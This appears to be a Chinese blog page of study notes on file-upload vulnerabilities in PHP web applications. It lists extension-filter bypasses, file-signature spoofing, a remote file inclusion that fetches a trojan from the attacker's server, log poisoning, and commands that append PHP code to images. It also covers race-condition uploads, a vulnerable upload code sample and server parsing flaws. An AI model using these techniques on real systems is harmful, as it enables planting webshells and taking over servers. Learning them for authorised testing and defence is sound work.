文件上传的小想法
Up-load 漏洞
一、后缀检查
白名单绕过
-
js拦截和MIME拦截
关闭js(Firefox)直接修改留到浏览器html
-
GET的%00 注释(进行urlencode)
抓包发现有文件路径的get参数在./正常文件夹/muma.php%00
然后把file的文件的后缀改成白名单内的后缀
-
POST(不进行urlencode)
在POST包内把%00 进行urlcode的decode(只能这样)
黑名单绕过
-
Windows后缀缺陷
muma.php3 muma.php5 muma.phpf
muma.php (后面有一个空格)
muma.php.(后面有一个点)
muma.php::\(DATA(后面有::\)DATA)
-
大小写及双写绕过
1)muma.php.php 或者muna.php. .
2)muma.Php
-
黑名单完备
一,将xx.jpg当做xx.php执行
1)上传.htaccess
2)上传.user.ini
二,两次上传(解析错误)
文件本身检查
-
文件头 HEAD TAIL
JPG FFD8FF PNG 89504E47 0000000049454E44AE426082 GIF 47494638 ZIP 504B0304 00000000 Windows Bitmap (bmp) 424D -
More
gzip 文件头:1F8B08 http网页gzip压缩
JPEG (jpg), 文件头:FFD8FF
PNG (png), 文件头:89504E47 文件尾:0000000049454E44AE426082
GIF (gif), 文件头:47494638
ZIP Archive (zip), 文件头:504B0304 文件尾:00000000
RAR Archive (rar), 文件头:52617221TIFF (tif), 文件头:49492A00
Windows Bitmap (bmp), 文件头:424D
CAD (dwg), 文件头:41433130
Adobe Photoshop (psd), 文件头:38425053
Rich Text Format (rtf), 文件头:7B5C727466
XML (xml), 文件头:3C3F786D6C
HTML (html), 文件头:68746D6C3E
Email [thorough only] (eml), 文件头:44656C69766572792D646174653A
Outlook Express (dbx), 文件头:CFAD12FEC5FD746F
Outlook (pst), 文件头:2142444E
MS Word/Excel (xls.or.doc), 文件头:D0CF11E0
MS Access (mdb), 文件头:5374616E64617264204A
WordPerfect (wpd), 文件头:FF575043
Adobe Acrobat (pdf), 文件头:255044462D312E
Quicken (qdf), 文件头:AC9EBD8F
Windows Password (pwl), 文件头:E3828596
Wave (wav), 文件头:57415645
AVI (avi), 文件头:41564920
Real Audio (ram), 文件头:2E7261FD
Real Media (rm), 文件头:2E524D46
MPEG (mpg), 文件头:000001BA
MPEG (mpg), 文件头:000001B3
Quicktime (mov), 文件头:6D6F6F76
Windows Media (asf), 文件头:3026B2758E66CF11
MIDI (mid), 文件头:4D546864增加-----------------
JPEG (jpg),文件头:FF D8 FF
PNG (png),文件头:89 50 4E 47 【参考:png文件头详解】89 50 4e 47 0d 0a 1a 0a
GIF (gif),文件头:47 49 46 38
Windows Bitmap (bmp),文件头:42 4D [参考:bmp文件格式详解]42 4D 36 0C 30 00 00 00 00 00 36 00 00 00 28 00 00 00 56 05 00 00 00 03 00 00 01 00 18 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
python反编译文件pyc的头:03 F3 0D 0A (实验吧,py的交易会用到)
pyd的文件头:4D 5A 90 00
ZIP Archive (zip),文件头:50 4B 03 04 ascii码部分是PK,可以直接根据PK判断是zip文件,也有可能是doc文件
rar文件: 52 61 72 21
7z文件头:37 7A BC AF 27 1C(实验吧,有趣的文件用到了)
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
Email [thorough only] (eml),文件头:44656C69766572792D646174653A
Outlook Express (dbx),文件头:CFAD12FEC5FD746F
Outlook (pst),文件头:2142444E
MS Access (mdb),文件头:5374616E64617264204A
WordPerfect (wpd),文件头:FF575043
Postscript (eps.or.ps),文件头:252150532D41646F6265
Adobe Acrobat (pdf),文件头:255044462D312E
Quicken (qdf),文件头:AC9EBD8F
Windows Password (pwl),文件头:E3828596
RAR Archive (rar),文件头:52617221
Wave (wav),文件头:57415645
AVI (avi),文件头:41564920
Real Audio (ram),文件头:2E7261FD
Real Media (rm),文件头:2E524D46
MPEG (mpg),文件头:000001BA
MPEG (mpg),文件头:000001B3
Quicktime (mov),文件头:6D6F6F76
Windows Media (asf),文件头:3026B2758E66CF11
MIDI (mid),文件头:4D546864
————————————————
版权声明:本文为CSDN博主「iachel」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/iachel/article/details/120107611
-
-
文件包含绕过
1)主要代码(特征)
$file = $_GET['file']; if(isset($file)){ include $file;//关键点包含文件 } ?> //用get传入file会把一切文件当做php2)(标准形式)(可访问含有PHP代码和txt/文件路径)
file=./上层文件夹的文件夹/xx
file=file:///c://file_path 或者file=C://file_path
http://xxxx/include.php?file=http://我们自己的服务器/muma.php
-
伪地址
file:// 访问本地文件系统 ftp:// 文件传输系统 php:// 输入输出流 zlib:// 访问压缩流 data:// 访问数据流 phar:// 访问php归档 rar:// 访问rar ogg:// 访问音频 expect:// 交互式流 -
convert.iconv.a.b a ,b 分别可以是
'UTF-7', 'UTF-32'
'UTF-8', 'UTF-32'
'ASCII', 'UTF-32'
'EUC-JP', 'UTF-32'
'SJIS', 'UTF-32'
'eucJP-win', 'UTF-32'
'SJIS-win', 'UTF-32'
'ISO-2022-JP', 'UTF-32'
'CP932', 'UTF-32*'
4)!!!!日志包含绕过
查出路径1)配置文件2)猜与试先输入一段http://url?f将它写入日志
然后包含日志成功包含木马
-
配置文件与日志文件
1)配置文件
nginx /etc/nginx/nginx.conf tomcat /conf/tomcat-users.xml 2)日志文件
nginx /var/log/nginx/access.log
5)后缀固定,远程包含 ,创建一个后缀一样的文件,然后包含路径只输入名字不加后缀
-
-
-
图片
检查文件头代码(文件类型实际上由文件头决定)
1)copy 123.jpg /a + muma.php / b muma.jpg
cat 12.jpg muma.php > muma.jpg
2)在php 前加GIF98a 然后改后缀为.gif
3)利用dc32(反汇编工具)在图片最后一行加代码
二次渲染(将图片木马代码抽出然后当做图片再次写入新的图片)
-
条件竞争
1)如果网站先保存文件后检查,不符合的删除
可以用burp 的Inruder(暴力破解当快速发送器)直到网站反应不过来让木马残留网站(可以比较短时间)
2)检查后重命名
快速发送直到来不及反应
-
数组代码审计
$is_upload = false; $msg = null; if(!empty($_FILES['upload_file'])){ //检查MIME $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上传该类型文件!"; }else{ //检查文件名 $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) //注意这里进行处理为了能上传绕过该处理{ $file = explode('.', strtolower($file));//['2','jpg'] } $ext = end($file);//数组最后的元素即是后缀(默认情况下呵呵) $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }else{ //reset将指针回到开头 $file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else { $msg = "文件上传失败!"; } } } }else{ $msg = "请选择要上传的文件!"; } -
解析漏洞
服务器中间件对文件后缀名解析出错将其当做php执行(直接访问就行)
IIS 5.x/6.0 test.asp/1.jpg muma.asp;.jpg IIS xxx/1.jpg/1.php
Nigix xxx/1.jpg/1.php xxx/1.jpg%00php xxx/1.jpg%20%00php%20 ⇒ xxx/1.jpg \0php
Apache 1.php.jpg.png从后面向前只有php可以被解析
-
常见中间件的路径
Apache:Linux /var/www/html
Nginx:Linux /usr/local/nginx/html
IIS:Linux /inetpub/wwwroot
tomcat:Linux /webapps/ROOT

浙公网安备 33010602011771号